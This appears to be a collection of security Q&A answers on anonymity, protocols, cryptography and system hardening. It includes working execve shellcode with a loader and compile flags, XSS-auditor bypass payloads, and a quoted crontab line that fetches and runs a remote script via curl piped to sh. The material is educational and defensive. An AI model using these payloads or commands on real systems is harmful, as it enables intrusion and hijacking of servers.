"Protection" is subjective. Some believe that the entire Tor network has been compromised, while others believe it to be a true anonmyzer. It really depends on what you think offers the greatest level of protection for you. Everyone in the InfoSec field will confirm you do security in layers. But I digress - Orbot:

  uses Tor to encrypt your Internet traffic and then hides it by bouncing through a series of computers around the world.

So more or less it sends your app data connections over the Tor network. Some app servers might be okay with that but some others might not.

  or this: https://play.google.com/store/apps/details?id=info.guardianproject.orfox ?

Again, it all depends on your comfort level of protection. In the application description it says:

  THIS IS A BETA RELEASE MEANT FOR PUBLIC TESTING ONLY. PLEASE DO NOT RELY ON THIS FOR STRONG ANONYMITY UNTIL ALL TESTING IS COMPLETE.

If you are really serious and want to hide your traffic, you would use a VPN with an anonymizer. But that is another discussion entirely.


Why does my x86 shellcode test program segfault?

I see multiple problems with your shellcode. First of all let's debug your code. I compiled the C code containing your shellcode, run it with gdb and step until the first system call (int 0x80)

[----------------------------------registers-----------------------------------]
EAX: 0x5655700b --> 0xde3050f7
EBX: 0x5655550c (<main+35>: mov    eax,0x0)
ECX: 0x0
EDX: 0x0
ESI: 0xf7f9fe24 --> 0x1d6d2c
EDI: 0xf7f9fe24 --> 0x1d6d2c
EBP: 0xffffd9d8 --> 0x0
ESP: 0xffffd9c0 --> 0xf7fe5ae0 (<_dl_fini>: push   ebp)
EIP: 0x5655701f --> 0x1b080cd
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x5655701a <shellcode+2>:    pop    ebx
   0x5655701b <shellcode+3>:    xor    ecx,ecx
   0x5655701d <shellcode+5>:    xor    edx,edx
=> 0x5655701f <shellcode+7>:    int    0x80
   0x56557021 <shellcode+9>:    mov    al,0x1
   0x56557023 <shellcode+11>:   xor    bl,bl
   0x56557025 <shellcode+13>:   int    0x80
   0x56557027 <shellcode+15>:   add    BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xffffd9c0 --> 0xf7fe5ae0 (<_dl_fini>:    push   ebp)
0004| 0xffffd9c4 --> 0x0
0008| 0xffffd9c8 (")UUV\030pUV$\376\371\367$\376\371\367")
0012| 0xffffd9cc --> 0x56557018 --> 0x315b0bb0
0016| 0xffffd9d0 --> 0xf7f9fe24 --> 0x1d6d2c
0020| 0xffffd9d4 --> 0xf7f9fe24 --> 0x1d6d2c
0024| 0xffffd9d8 --> 0x0
0028| 0xffffd9dc --> 0xf7de3141 (<__libc_start_main+241>:   add    esp,0x10)
[------------------------------------------------------------------------------]

Here we can see a few problems:

The EAX register is not set to 0xb. This is because your shellcode does not clear the values in the register and instead it just sets the lower byte with the instruction mov al, 0xb
The EBX register should be pointing to the char* with the file you're trying to run (usually it's "/bin/sh"), instead it's pointing to a random memory position, in this case in the main function.
The ECX register should be pointing to the array of char* that indicates the complete command you want to run. In most shellcodes I've seen it's just ["/bin/sh", 0], but you may want to use something different such as ["/path/to/binary","-argument1",..., 0], in this case you should create that array in memory. In your shellcode ECX is set to 0x0
The EDX register represents the environment for the execution of the binary. You can take a look at the execve(3) manual page to understand a bit more how it is used, but for our purpose here it's ok to have a NULL value in it

Now, how can we fix it? Well, first of all we'll need to point EBX to a "/bin/sh\0" string in a memory portion we can access, f.e. the stack. And we need to do that in our shellcode. We can do it with the following gadget:

xor eax, eax //Clear the eax register so we have a null byte to end our string
push eax
push "n/sh" //The string needs to be written "backwards"
push "//bi" //The double "/" is to avoid null bytes in our shellcode
mov ebx, esp //esp is pointing to "//bin/sh\0", so we need to move that pointer to ebx

Then we need to point ECX to an array of char* such as ["/bin/sh", 0]. We already have a part of it in EBX, so continuing our shellcode we can do the following:

xor eax, eax
push eax
push "n/sh"
push "//bi"
mov ebx, esp
push eax // Remember it's still 0 from our previous xor eax, eax
push ebx // Push it so ESP points to EBX
mov ecx, esp // move ESP to ECX, the result is ECX -> EBX -> "//bin/sh\0"

Finally, we should set the AL register to 0xb and make the syscall. So our final shellcode should look like this:

section .text
global _start
_start:
    jmp trampoline

shellcode:
    xor eax, eax
    push eax
    push "n/sh"
    push "//bi"
    mov ebx, esp
    push eax
    push ebx
    mov ecx, esp
    mov al,11
    int 0x80

section .data
trampoline:
    call shellcode

We can compile it nasm nasm -o shellcode.bin -f elf32 -O0 shellcode.nasm, extract the opcodes and put them in the C code to test it:

char shellcode[] = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(){
    (*(void(*)())shellcode)();
    return 0;
}

Compile it with your favorite compiler, I use gcc gcc -o shellcode.o -fno-stack-protector -z execstack -m32 shellcode.c. And run it:

$ ./shellcode.o
sh-4.4$


CacheBleed fixed in LibreSSL 2.5.0

Added constant-time updates to address CVE-2016-0702

And that CVE-ID is CacheBleed.
Source: OpenBSD "Announce" Mailing list post from 2016-09-28 (Archived here.)


Does EAP exist as an independent authentication protocol, or just as a framework?

RFC 3748, the EAP specification, does two things: it specifies the EAP messaging protocol, and it provides threat modeling and security guidelines for authentication methods that run on top of it.  So in a sense, EAP is both a protocol and a standard.  EAP methods could be viewed as part of the EAP standard, but as merely running on top of the EAP protocol.

(RFC 3748 also defines three EAP methods -- MD5, OTP, and GTC -- by specifying how the pre-existing non-EAP versions of these authentication protocols are conducted over EAP.)

The EAP protocol is a transport protocol.  It provides a set of common features useful for authentication on top of an unspecified communications layer.  It could be viewed as the same sort of protocol as TCP, but designed specifically for authentication instead of bulk data transport.

What the EAP protocol provides:

A packet format for requests and responses.
Rules for transmitting requests and responses, and for matching responses to requests, with an eye towards eliminating meaningful opportunities for spoofing.
Rules for retransmitting dropped messages and for handling duplicate messages.
Rules for selecting an authentication method.
A facility for the authenticator to allow a back-end server to perform the actual authentication.

What the EAP protocol leaves up to the communications layer to provide:

Discovery and transport.  EAP assumes the supplicant and authenticator already know how to deliver messages to each other.
In-order message delivery.  The lower layer can drop or duplicate messages, but EAP assumes the messages will be delivered in order.

What the EAP protocol leaves up to the method to provide:

All of the details of how the supplicant and authenticator each decide that the other is trustworthy; including authentication, authorization, encryption, etc., subject to the security requirements in the standard.


How to securely send passwords using KeePass

The usual way to handle this is to set a random password, force a password change at first connection and send that password to the user.

More sophisticated systems will force the first logon and password change to happen within a limited period of time before disabling the account.

If you can use encryption (S/MIME or PGP) then all the better. If you can't, you'll have to accept the initial period of vulnerability.

if you intend to keep the user's password, then you have a problem: your procedure is insecure (because you still have the user's password in reversible encrypted format) and you should spend energy on fixing that instead.

Finally, if you really need to send secure information to the user then you will need some kind of initial secure channel and some way to perform encryption.

For instance, the system I'm working on creates a PGP key for the user (on his system) and uploads it to our server after we provided the user with a session key. We then use that key to encrypt all sensitive data we send to this user with his key. The session key is typically sent via registered snail mail or, in some cases, sent over the phone. We keep the (public) keys users send us for future communication.


I agree with the others that 'sent a packet' is an incredibly broad statement, but it's already been passed on 2nd hand from a script kiddie who may not even understand the exploit in the first place.

I assume he's probably exploiting a buffer overflow or other low-level bug in the communication layer.

Such exploits are specific to the particular app, not the OS or device, and they definitely don't apply to all devices.  In a perfect world, the app would use encryption, signatures, and data validation to help prevent buffer overflows, but it's not a perfect world.  So, the scenario as described is entirely possible and in fact happens all the time with different apps.


Short answer: Vulnerability

Longer answer:

The vulnerability in a flash player is what is exploited to deliver the payload. How the payload is delivered is the attack vector, which is, this case, a web page.

Let's work backwards.

Payload: Payload is the code that infects the victim. In this case, it is malware on a computer.
Attack vector: This is the delivery method. Phishing is a common attack vector.
Vulnerability: This is the flaw in the application (Flash).
Exploit: Delivery of the payload to a vulnerability.


Is there any possibilities to bypass Chrome xss auditor in this case?

Here you could simply use the payload javascript:alert(1), as the auditor doesn't identify javascript URLs within a href attribute as XSS. Clicking the link would execute the code.

However, it will be much harder to execute JS by injecting an additional event handler attribute the way you tried, since your code sample directly reflects the input without additional processing. This is exactly one of the attack scenarios the XSS auditor is meant for. It attempts to identify reflected parts to prevent their execution. As @NickMckenna remarked, there is no general way to bypass the auditor in this scenario.

What you could do is inject other attributes that have side effects. For example, you can still use the style attribute and apply arbitrary CSS (e.g. ' style='background:red;). In combination with other technologies like AngularJS, injecting different attributes can still lead to XSS.

Be aware that the XSS auditor is fragile. Since it has no understanding of how the code is processed on the server side, a simple substitution in a more complex program could be enough to confuse it, e.g.:

<?php
    if (isset($_POST['data'])) {
        // Filter bad words
        $data = str_replace('BADWORD', '', $_POST['data']);
        echo "Click Here
";
    }
?>

In this case, a sequence like ' onBADWORDmouseover='alert(1) would bypass the auditor.

(Also note that the onerror attribute you tried to inject isn't valid for  tags.)


If the hash function is a Random Oracle then hashing the concatenation of the key (your "secret salt") and the message is indeed a perfect MAC (I say "key" because if a salt is a secret piece of data then it matches the definition of a key; let's use the proper name).

Unfortunately, random oracles do not really exist... instead, we are stuck with hash functions which we know are not random oracles, and we must get along with their quirks. In particular, the hash function from the Merkle–Damgård persuasion (which includes MD5, SHA-1, SHA-256 and SHA-512) suffer from the length extension attack, which does not contradict the basic properties which are expected from a secure hash function (resistance to preimages, second preimages and collisions), but means that the simple MAC constructions tend to fail horribly.

... Which is precisely why HMAC was invented: with its double-nested hash invocation, it copes with the non-random-oracleness of MD hash functions. We do not do the two hash invocations for the fun of it, but because they are necessary for achieving proper security. Let me stress the important point: designing a MAC algorithm is not as easy as it may seem; you cannot slap a hash function and a key together and hope for the best. Details, as usual, matter.

If you need Performance with a big 'P', the kind which would not be fulfilled by HMAC, then:

You have very fast networks, or very slow CPU.
There are faster MAC constructions which are not based on existing hash function.
You will be better served with an authenticated encryption mode, assuming you also encrypt the data which is MACed (this is the most common scenario).


Given that you have a stable computer, I would go ahead and do use ssh keys instead of a password for ssh access (even if you were using a different lab computer each time, a ssh key in a portable usb would probably still be preferable).

The ssh key could be stolen, but using a password on it should provide a similar security to a ssh password, except that you need the key file, too. Yes, the ssh client can be compromised to steal the key passphrase, but the difficulty would be equivalent to that of compromising the client to steal the ssh password. Do remember that you may load ssh identities into an agent in such way that they require confirmation before being used (as well as unloading/not using a ssh-agent at all, although I recommend it).

A hardware token (as recommended by Luis) would be best in protecting the ssh key, but it might not be an option.

As for not showing the IP address you connect to, if you are using the openssh client you want the HashKnownHosts yes ssh_config option (for some distros that's even the default). Probably not really worth hiding, though, it shouldn't be "secret stuff", and cold be easily extracted from network logs.

On the server, as a way to further protect the login from unauthorized random hosts, you could:

Disable password authentication (that you wanted to do)
Restrict the users that are able to log in (to the only one allowed)
Use a non-standard port
Restrict the IP address that are allowed to connect. Being an University, 'your' computer will have a static outbound IP address, probably even a public IP address just for you. Worst case, restrict to the University range.

These are mostly "additional measures", since they can't deter a determined attacker that abused his superuser power on your computer,¹ but I feel it's good to at least list them for future readers.

However, the important solution to your problem is you don't give general access to your home computer. Since you want to connect through ssh, I assume your home machine will be a Linux/BSD/MacOS one.

You will probably have a user account there from which you perform daily tasks such as browsing the internet, writing (personal) emails, or watching youtube videos. However, you don't need access to any of that, as you only care about computations. So you set up a separate, limited access for running computations. You could be connecting to a Virtual Machine or a container, but just a separate account should serve for your needs. You only need that the hardware is fast(er), an account with a little space and the needed programs installed on the machine would do fine. Some basic Unix permissions that didn't allow other users to access your "home files" would be enough.² Obviously, keep your home computer patched against local escalation exploits.

A second potential issue would be that an attacker that accessed that low-privilege account were to compromise other devices in your local network. As well as securing adequately the other devices, you could either negate all network access to that low-privilege user, or restrict that to outside addresses only.

¹ E.g. the ssh key wouldn't work from other machines, but they could proxy through yours to access

² There are all kinds of processor sidechannels but mostly not relevant, you can disable sshd when accessing it locally, and shouldn't leave sensitive things running anyway (no, you shouldn't leave a CA running there ).


How to bypass XMLHttpRequest header protection for a CSRF attack

This is a very similar method to using the X-Requested-With header, just that X-Header is used instead (neither of which are standard headers, although X-Requested-With could be considered a de-facto standard).

This is a valid method of preventing CSRF as only the following headers are allowed cross domain:

  Accept
  Accept-Language
  Content-Language
  Last-Event-ID
  Content-Type

any others cause a "pre-flight" request to be issued in CORS supported browsers. Non CORS browsers will ignore other headers.

As long as the CORS configuration isn't allowing the header and domain the attacker is using then this is a valid method.

If CORS was enabled and was allowing the attacker's domain, then other methods of CSRF protection such as the recommended Synchronizer Token Pattern would also fail because the attacker could make a GET request to retreive the token value (assuming the access-control-allow-credentials header is set to true). Note that lack of CORS does not prevent requests from being made by the browser, it only prevents the responses from being read.

So, it appears that you're out of luck for a CSRF exploit, unless another Flash or browser plugin bug/feature will allow you to add the header to the request.


Key generation and decrypting SSL 1.2 Finished message

The key generation function described in RFC 5246 is not applicable to this cipher suite, which is why I was unable to decrypt the message. Having reimplemented the key generation function described in RFC 2246 (TLS 1.0) I am now able to successfully decrypt the Finished message.


Difference between whois of a hostname and an IP

This is normal. The ownership of most domains will not match the IP addresses they point to.  Where they will "match" is for ISPs and very large organisations. They will generally not match for small companies and personal domains.

The reason for this is that ISPs and very large organisations will actually own their IP addresses but smaller companies generally rent them from an ISP. This is by no means guaranteed.  Even large organisations can still rent thousands of IP addresses from another company.

Although I own my domain, I point it at an IP address that is owned by Amazon.
Stackexchange points their domains at IP addresses owned by Fastly.

IP addresses can exist and be owned even if there are no domains pointing to them.  Domains can point to IP addresses that don't exist or even IP addresses that can't be owned, such as 127.0.0.1. Domains can point to multiple IP addresses.

In addition to all of this, the definition of "matching" is not clear. Even when a company owns both the domains and the IP addresses, the record returned by a whois command is still different and requires a bit of intelligent fuzzy matching to determine that it represents the same entity. For instance Amazon:

whois of the domain:

Domain Name: AMAZON.COM
Registry Domain ID: 281209_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.markmonitor.com
Registrar URL: http://www.markmonitor.com
Updated Date: 2014-04-30T19:24:35Z
Creation Date: 1994-11-01T05:00:00Z
Registry Expiry Date: 2022-10-31T04:00:00Z
Registrar: MarkMonitor Inc.
Registrar IANA ID: 292
Registrar Abuse Contact Email: abusecomplaints@markmonitor.com
Registrar Abuse Contact Phone: +1.2083895740

whois of one of their IP addresses:

OrgName:        Amazon.com, Inc.
OrgId:          AMAZON-4
Address:        1918 8th Ave
City:           SEATTLE
StateProv:      WA
PostalCode:     98101-1244
Country:        US
RegDate:        1995-01-23
Updated:        2017-01-28
Ref:            https://whois.arin.net/rest/org/AMAZON-4

And Google:
whois of google.com:

Domain Name: GOOGLE.COM
Registry Domain ID: 2138514_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.markmonitor.com
Registrar URL: http://www.markmonitor.com
Updated Date: 2011-07-20T16:55:31Z
Creation Date: 1997-09-15T04:00:00Z
Registry Expiry Date: 2020-09-14T04:00:00Z
Registrar: MarkMonitor Inc.
Registrar IANA ID: 292
Registrar Abuse Contact Email: abusecomplaints@markmonitor.com
Registrar Abuse Contact Phone: +1.2083895740

whois of a Google IP address:

NetRange:       172.217.0.0 - 172.217.255.255
CIDR:           172.217.0.0/16
NetName:        GOOGLE
NetHandle:      NET-172-217-0-0-1
Parent:         NET172 (NET-172-0-0-0-0)
NetType:        Direct Allocation
OriginAS:       AS15169
Organization:   Google LLC (GOGL)
RegDate:        2012-04-16
Updated:        2012-04-16
Ref:            https://whois.arin.net/rest/net/NET-172-217-0-0-1

Even the fields are not consistent across different whois servers.  Amazon sends OrgName while Google sends Organization.

They may not even be consistent within a single organisation. This is owned by Facebook:

NetRange:       69.171.224.0 - 69.171.255.255
CIDR:           69.171.224.0/19
NetName:        TFBNET3
NetHandle:      NET-69-171-224-0-1
Parent:         NET69 (NET-69-0-0-0-0)
NetType:        Direct Assignment
OriginAS:       AS32934
Organization:   Facebook, Inc. (THEFA-3)
RegDate:        2010-08-05
Updated:        2012-02-24
Ref:            https://whois.arin.net/rest/net/NET-69-171-224-0-1
OrgName:        Facebook, Inc.
OrgId:          THEFA-3
Address:        1601 Willow Rd.
City:           Menlo Park
StateProv:      CA
PostalCode:     94025
Country:        US
RegDate:        2004-08-11
Updated:        2012-04-17
Ref:            https://whois.arin.net/rest/org/THEFA-3

This is also owned by Facebook:

inet6num:       2a03:2880::/29
netname:        IE-FACEBOOK-201100822
country:        IE
org:            ORG-FIL7-RIPE
admin-c:        RD4299-RIPE
tech-c:         RD4299-RIPE
status:         ALLOCATED-BY-RIR
mnt-by:         RIPE-NCC-HM-MNT
mnt-lower:      fb-neteng
mnt-routes:     fb-neteng
created:        2015-09-24T12:59:37Z
last-modified:  2016-04-14T10:48:51Z
source:         RIPE # Filtered
organisation:   ORG-FIL7-RIPE
org-name:       Facebook Ireland Ltd
org-type:       LIR
address:        4 GRAND CANAL SQUARE ,
                GRAND CANAL HARBOUR ,
address:        D2
address:        Dublin
address:        IRELAND
phone:          +0016505434800
fax-no:         +0016505435325
admin-c:        PH4972-RIPE
mnt-ref:        RIPE-NCC-HM-MNT
mnt-ref:        fb-neteng
mnt-by:         RIPE-NCC-HM-MNT
abuse-c:        RD4299-RIPE
created:        2011-04-07T13:16:29Z
last-modified:  2017-10-30T14:51:29Z
source:         RIPE # Filtered


OP given url to the forum mentioned that the developer cloud server redis has been compromised, an entry has been added to crontab. i.e.

*/1 * * * * /usr/bin/curl -fsSL http://162.242.245.65:8220/test9.sh | sh

The rest of the commenter mentioned that this is a possible hack that installs Bitcoin miners inside the system.

I agree with @Itamar Haber, you must redeploy your server from scratch. Simple application clean up is not enough.


The way hard disk encryption usually works is that the data stored on the disk is always encrypted.  When you boot the system, the decryption key is loaded into memory by the kernel and when data is read off the disk, it is decrypted.  As data is written back to the disk, it is encrypted first.  Therefore, there is usually never any data on the disk that's unencrypted (unless you have an unencrypted partition), so a hard shutdown is not a problem for security.
However, if the machine is powered on and booted, then the key is in memory, and data can be decrypted.  This is usually true even if the system is suspended (but not hibernated).  As mentioned by multithr3at3d, this data can often be recovered from memory for a few minutes after the machine is powered off.  Beyond that, the key is usually not recoverable, and the data is safe.
If you know you are about to go into a risky situation, such as when passing through customs, you may wish to power off your machine reasonably well in advance to protect its data.  If you do an urgent forced shutdown, your data will probably be unrecoverable unless someone can open the laptop and extract the key relatively quickly; it's far better to do that than do nothing.  Similarly, if you're concerned about a snatch-and-grab, power off (or on Linux, hibernate) your machine before traveling with it.
If you have especially sensitive data that you do not normally want to be decrypted when using your laptop, then put that data on a separately encrypted partition and decrypt it only when you need to.  This makes it much more likely that if a rogue process or human intervention compromises the system that your data won't be accessible.  Most people using an encrypted disk are willing to accept the fact that all data can be decrypted when the machine is on and so don't feel the need to do this, but your circumstances or level of comfort may dictate otherwise.


What is the best tool to anonymize your scans (network/ports)?

I'll assume you want to know what techniques the bad guys use to help defend your self against such threats.

Nmap has at least two anonymous port scanning methods.  The two that I know of are are TCP Idle Scan and the FTP bounce scan.  Both of these involve using a 3rd party to facilitate the scan.  The nmap book is pretty awesome.

For metasploit you need a real connection to your target. Tor is a good choice,  war driving and breaking WEP/WPA is another method (though usually illegal).   Getting a list of anonymous proxies is a classic,  tools like Charon and YAPH can help.  These tools will tell you if the proxy supports TLS and if it is in fact anonymous,  or if it spills information about the client (such as the x-forwarded-for http header).


Can you detect a wifi pineapple or rogue AP with MAC address?

Rogue access point is a very serious problem. I think it is easy to attack, but hard to defend.

  Does the pineapple spoof AP MAC (BSSID) as well as SSID?

Unfortunately, a pineapple or rogue AP can spoof MAC addresses. Therefore, comparing MAC addresses can not provide a proper detection. The term you need to look for is Wireless intrusion prevention/detection system.

What is a wireless intrusion prevention system?

As it is written in Wikipedia,

  Wireless intrusion prevention system. In computing, a wireless intrusion prevention system (WIPS) is a network device that monitors the radio spectrum for the presence of unauthorized access points (intrusion detection), and can automatically take countermeasures (intrusion prevention).

As  a result, you need to implement a wireless intrusion prevention/detection system. There are many tools that can do it for you, however I am not going to do any tool recommendation here. Plus, there  are open  source  tools,  such  as Snort-Wireless  or  Kismet,  which  have  mainly intrusion detection capabilities. I do not want to write about WISP more, since this post is about "rogue AP detection". If you would like to know about them in detail, you can check on the internet. I also found some good articles about it;

SANS - wireless-intrusion-detection-system
Revista Informatica Economică - Wireless Intrusion Prevention Systems
Symantec - Wireless Intrusion Detection Systems


It's EVERYWHERE... like a virus.

Adobe uses Apple's Bonjour service also known as mDNSResponder.exe to communicate with the mother ship. More about Bonjour here. Adobe transfers things like licensing, usage, and error data. They also run a service called armsvc.exe which is the Adobe Acrobat Update Service that also calls home to check for updates periodically. Adobe has a video about how to remove mDNSReponsder on their TV site.

If you're running a Creative Suite on your server (not likely, but not unheard of) you'll also get traffic from different plug-ins in various apps that connect to web services, also anything that uses the Creative Cloud will also likely transfer data and try to authenticate a license, as well as all web programs like Dreamweaver, Muse, and Flash obviously.

If this is a Windows box, you can use sysinternals process explorer to check for different running apps and the company name of the owner of the process. If it's a Mac server then you can open activity monitor to see what's running, in addition to top via command line.


No, that's a parameter that will be sent to Google after the HTTPS encrypted connection is established.

The ISPs can only see the root URL you are going to "www.google.com". The encryption between your browser and Google is the first thing established. After that, your ISP sees only encrypted data.


Kali Linux, the succesor to Backtrack offers a mini version of the distribution that is only 400MB. Alternatively, just build the package on any lightweight linux distributions like Arch Linux.

Do note that I have encountered many issues with configuring OpenVAS in the past, to the points where I simply gave up. I recommend Nessus or Nexpose instead if being closed source isn't an issue for you. Both products offer a "free" edition that might be suitable for you.


Why do some known vulnerabilities have no CVE ID?

Why don't some vulnerabilities have CVE numbers?
It's usually either that the entity who found the vulnerability didn't care to request one, or that, for some reason, a CVE Numbering Authority (CNA) or MITRE themselves decided not to include the vulnerability in the system.

Why are CVE entries sometimes empty?
The CVE number  assignment procedure specifies that the CVE number requester should notify MITRE about the public advisory, and then MITRE would update the CVE entry. Sometimes a CVE requester (usually a vendor) would ask for a CVE, and then neglects to notify MITRE, release an advisory containing a patch without any details, or simply just delay informing MITRE. In these cases, the entry will remain mostly empty until the requester provides more information.

In any case, it's up to the CVE number requester to request the number and then provide information to be filled in the entry.


How to securely share credentials between two local applications?

Use an authentication token:

User logs in via GUI

API returns an authentication token

User captures whatever he needs, and sends data and token to C# service

C# processes all data, sends data plus token to API

This way username and password are not saved locally. Make sure to have a sane expiration time for the token, and don't let it be reused.


Security risks of hosting user-supplied images?

An image might still be a valid image and still contain malicious material such as embedded comments or other (undefined) attack vectors.  One -- albeit old -- example was the GDI JPEG vulnerability in Windows from 2004.

I think your primary concern is to ensure that your image-acceptance mechanism is simple and tight.  You'll want to watch for file permission errors, resource exhaustion (running out of space, tying up network resource, etc.) and path attacks (eg. potentially overwriting files).

Furthermore, ensure that any string-handling checks are strictly and precisely defined. There was a recent question on sec.SE regarding attacking ASP upload code that used a less strict string searching mechanism.

Finally, search this site for the term "upload".  Some fine examples which can give you a clear picture (no pun intended!) of all of the challenges you may face:

What steps should be taken to validate user uploaded images within an application?
What are the security risks of letting the users upload content to my site?


What's the inverse of sandbox security pattern?

This "preventing outsiders from interfering" is achieved by sandboxing the outsiders, too. When everyone can't leave their sandbox, no one can enter their neighbour's sandbox. Ideally, the code that maintains the sandboxes is as lean as possible, to reduce the number of "outsiders that can interfere" as much as possible.


All of your internet traffic goes through the ISP, so there's a lot they can see. Basically all plain-text transmissions can be viewed by your ISP. There are a few things you can do to prevent this:

Use HTTPS whenever possible. ISPs won't be able to read the contents of HTTPS messages, but they can interpret HTTP messages. This is generally true for any party that can perform MITM attacks, not just your ISP.
Even if you use HTTPS, your ISP will still know who you are sending traffic to. If you want to prevent this, you can use anonymous browsing software(ex. Tor) to prevent your ISP from knowing who you're talking to (although they will know that you are using this software)
If you are using BitTorrent, your ISP can generally detect that you are doing this. You can encrypt this data as well (depending on your BitTorrent client), but your ISP can generally still deduce that you are running a BitTorrent client (though they won't know what you are downloading).


Does “emergency mode” help protect iOS devices in AFU mode?

Once the user activates the SOS mode, the following things happen:

Biometric identification (Touch ID/Face ID) is disabled and the user has to use screen lock code to unlock screen.

USB Restricted Mode is enabled, disabling data transmission over the USB port. If the iPhone is then connected to a computer, the computer will not recognize the device.

There's no current way to force iPhone back to Before First Unlock (BFU) state once the device is already in After First Unlock (AFU) state. However, iOS does evict one set of keys from memory whenever the screen is locked again regardless of SOS mode.
The set of keys that are evicted from memory on screen relock belongs to Complete Protection class of Data Protection API. There are 4 Data Protection Clasess in iOS:

Complete Protection (CP): Encryption keys for this data are evicted shortly after device lock (10 seconds).

Protected Unless Open (PUO): Using public-key encryption, PUO allows data files to be created and encrypted while the device is locked, but only decrypted when the device is unlocked, by keeping an ephemeral public key in memory but evicting the private key at device lock. Once the file has been created and closed, data in this class has properties similar to Complete Protection.

Protected Until First User Authentication (a.k.a. After First Unlock) (AFU): Encryption keys are decrypted into memory when the user first enters the device passcode, and remain in memory even if the device is locked.

No Protection (NP): Encryption keys are encrypted by the hardware UID keys only, not the user passcode, when the device is off. These keys are always available in memory when the device is on.

Only the data that is encrypted by CP is safe at locked screen. CP is a recommended protection but to maintain user experience and to keep user's important apps functional at locked screen, it is not strictly enforced by the app developers and apple itself. Calendar (excluding attachments), Contacts, Reminders, Notes, Messages and Photos are protected by Protected Until First User Authentication class and this is the data law enforcement agencies are interested in.
Spyware agencies have custom tools that can physically extract data from memory without disconnecting the battery. They may not need specific AFU vulnerabilities to extract keys, though it makes the job easier. Android also has SOS like mode called lockdown mode which is opt-in and it is no different. Android doesn't evict keys at locked screen which makes it more susceptible to keys extraction and data decryption.

I asked the author about partial AFU, he said:

I was trying to figure this out too but haven’t gotten anywhere. Current thinking is that it refers to the amount of data they could get, so assuming there’s another form of partial AFU access that allows for a larger extraction.

As far as I know, partial AFU is not a thing. The device can be either in BFU or in AFU. No intermediate state can exist because the change in state is bound to user authentication.

BFU: The device has not been unlocked since last reboot.
AFU: The device has been unlocked once since last reboot.
Android Pie Lockdown Option: a Match for iOS SOS Mode?
How police are breaking phone encryption
Data Security on Mobile Devices: Current State of the Art, Open Problems, and Proposed Solutions


Few questions about Group Temporal Key (GTK) in WPA/WPA2

1. GTK has 128 bits for CCMP and 256 bits for TKIP

2. Multicast traffic is protected with another key: GTK (Group Transient key), generated from a master key called GMK (Group Master Key) which is a fixed string based on access point MAC address and a random number GNonce.

3 and 4. GTK is divided into temporary keys:

GEK (Group Encryption Key): Key used for data encryption (used by CCMP for auth and by TKIP for encryption).
GIK (Group Integrity Key): Key used for data auth (used only by Michael for TKIP).

Amazing pdf manual about this: Wi-Fi security – WEP, WPA
and WPA2


Looks like during previous infection you had malicious Chrome extension. That is why reinstalling Chrome helped you.

This time it has to be a standalone application, which opens links in your default browser. So reinstalling Chrome doesn't help.

I see two ways to solve this:

Install another antivirus, which will be able to handle this malware.
Try to install one of the most popular antiviruses and scan your computer. Almost all of them have trials.
Find and delete it by yourself.

a. Look for suspicious processes in Task manager. Or better use Process Monitor from Sysinternals suite.

b. Run "Autoruns" tool from Sysinternals suit and look for suspicious files.

c. If located malicious file, stop its process(using Process Monitor) and delete.


Can I use a JWT for both Authentication & Data Transmission

Since JWTs are passed via headers, I would recommend a size of 5-7kb. For auth tokens, wrap them in http-only cookies, and use a seperate token for the payload. This is because http-only cookies are not readable by clientside JS. Sorry, would make this a comment but I don't have enough points. Hope this helps :)


What's the most secure way to save Connection String in Windows Forms application?

You have a couple options.

The first, and preferred, would be to establish a web services layer that the application calls instead of going to the database directly.  This, obviously, is going to take a bit of time to build.  However it would mean you could put your DB behind a firewall that only the web services layer could get through.

The second would be to use encrypt the database access portion of the app.config file.  More info here:  https://msdn.microsoft.com/en-us/library/zhhddkxy.aspx

The third option, which you would use in combination with the above options, would be to remove all direct sql queries from the app and replace them with calls to stored procs that require a userid or user token parameter.  Then each proc would check that the id/token was valid for the given action prior to running it.  At the same time you would change the database rights such that only stored procs could be executed.

A fourth option is to implement SSPI in combination with named SQL server users (whether active directory or otherwise).  This would mean adding however many users (or user groups) to your database server.  The upside is that you could control on an individual basis who had rights to log into the DB server AND you wouldn't have a username/password combo in the app.config file.  The downside is that someone needs to maintain that.

*Bear in mind that even if you use encrypted config sections, the user has to have access to the decryption key.  So the only thing this really does is protect the key from people who might read the clear text app.config file.  A determined user with access to the computer the application is running on could still pull the connection string info from either the computer memory or by decrypting the section using alternate means.


How does a network admin block the reverse SSH in company?

SSH traffic looks different from HTTP and HTTPS. SSH traffic simply tunneled through port 80 or 443 (i.e. ssh -p80...) can be detected by looking at the first response packet already which contains the SSH version and not the HTTP version or the TLS ServerHello. But you could also simply enforce the use of a HTTP proxy inside the network which makes the use of plain SSH impossible.

This leaves the possibility to tunnel SSH inside some other protocol, like simply creating a tunnel through the proxy using a CONNECT request or even hiding the SSH connection within a full TLS connection, using plain HTTP, using WebSockets,  with DNS or similar. This is much harder to detect although some statistical analysis might help because SSH shows a different behavior than normal HTTP traffic. But such analysis might be easily confused with today's common WebSockets traffic.

At the end it is a race and you should ask yourself why you focus on SSH tunnels anyway. These tunnels are nothing but a tool to transport data between inside and outside. Such data transports can also be done using normal HTTP/HTTPS, can be done with USB sticks etc. Thus focusing on a single vector do prevent data leakage or to prevent the attacker entering the network is IMHO the wrong way. And for having a policy: it is more secure to have a white list on what is allowed than to have a black list on what is not allowed.


Implications re security practices of full account access granted to third parties

Of course, a lot of things like that will come down to trust. You either have to completely trust Bravo to not do any harm (intentional or accidental), or you could assume everything is compromised. Depending on how access was granted to Bravo, you may want to take steps to secure your account, such as verifying personal details and changing your password.

This makes me wonder about Acme's internal security processes. I'm no
expert in this area, but only granting minimum access is really basic,
right?

The principle of least privilege is well known, but unfortunately not all software is written with security in mind. Sometimes, the deadline to push out a new feature causes security to be ignored in the meantime. Or perhaps Bravo isn't able or willing to support a better method at this time.

If they're not doing it when connecting with an external
company like Bravo, is that a big red flag in terms of what else
they're doing in terms of security best practices internally? Or given
that everyone has contracts with everyone else, not really that big a
deal?

